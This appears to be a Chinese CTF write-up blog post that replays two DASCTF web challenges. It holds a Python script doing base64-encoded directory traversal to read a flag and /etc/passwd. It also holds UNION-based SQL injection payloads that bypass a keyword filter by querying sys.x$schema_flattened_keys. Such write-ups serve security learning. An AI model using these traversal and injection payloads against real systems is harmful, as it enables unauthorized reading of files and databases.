zoukankan      html  css  js  c++  java
  • DASCTF七月赛两道Web题复现

    Ezfileinclude(目录穿越)

    拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw==
    t是时间,可以利用time.time()获得。f是文件名。经过base64加密。一开始给的是gqy.jpg,访问/gqy.jpg和gpy.jpg的回显一样。尝试目录穿越在gqy.jpg后面加../可以读到etc/passwd

    import time,requests,base64
    url1 = 'http://183.129.189.60:10012/image.php?t='+str(int(time.time()))+'&f='
    url2 = b"gqy.jpg../../../../../../flag"
    url2 = str(base64.b64encode(url2),encoding='utf-8')
    print(url2)
    url=url1+url2
    r = requests.get(url)
    print(r.text)
    

    SQLi

    提示need id,加个id参数,发现id=1或2或3有回显,id=3'无回显,id=3''有回显,存在注入。
    试下?id=3' union select 1,2,3#,给出过滤的字符

    return preg_match("/;|benchmark|^|if|[s]|in|case|when|sleep|auto|desc|stat|||lock|or|and|&|like|-|`/i", $id);
    

    并没有看到union select被过滤,我们暂且继续使用联合注入。

    http://183.129.189.60:10011/?id=666'union/**/select/**/1,2,database()%23
    

    暴出数据库的名字为sqlidb

    接着暴表名,但是过滤了or, 那么information_schema无法使用,双写和大小写or都无法绕过,这个涉及到bypass information_schema的问题了。可以参考https://www.anquanke.com/post/id/193512
    但是stat被过滤了,文章中提到的

    sys.schema_table_statistics_with_buffer
    sys.x$ps_schema_table_statistics_io
    

    无法使用,但是可以使用sys.x$schema_flattened_keys。

    ?id=666'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys/**/where/**/table_schema="sqlidb"%23
    

    暴出表名

    看到了flllaaaggg,那么应该没有列了。直接查询flllaaaggg。

    ?id=666'/**/union/**/select/**/*,1/**/from/**/flllaaaggg%23
    

    加个 1,是因为UNION 内部的 SELECT 语句必须拥有相同数量的列

  • 相关阅读:

    20145309《网络对抗》网络欺诈技术防范
    ceshi
    20145306 网路攻防 web安全基础实践
    20145306 张文锦 网络攻防 web基础
    20145306张文锦 网络欺诈技术防范
    20145306 《网络攻防》 信息搜集与漏洞扫描
    20145306 《网络攻防》 MSF基础应用
    20145306张文锦《网络对抗》恶意代码分析
    20145306 《网络攻防》 免杀技术
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13410631.html
Copyright © 2011-2022 走看看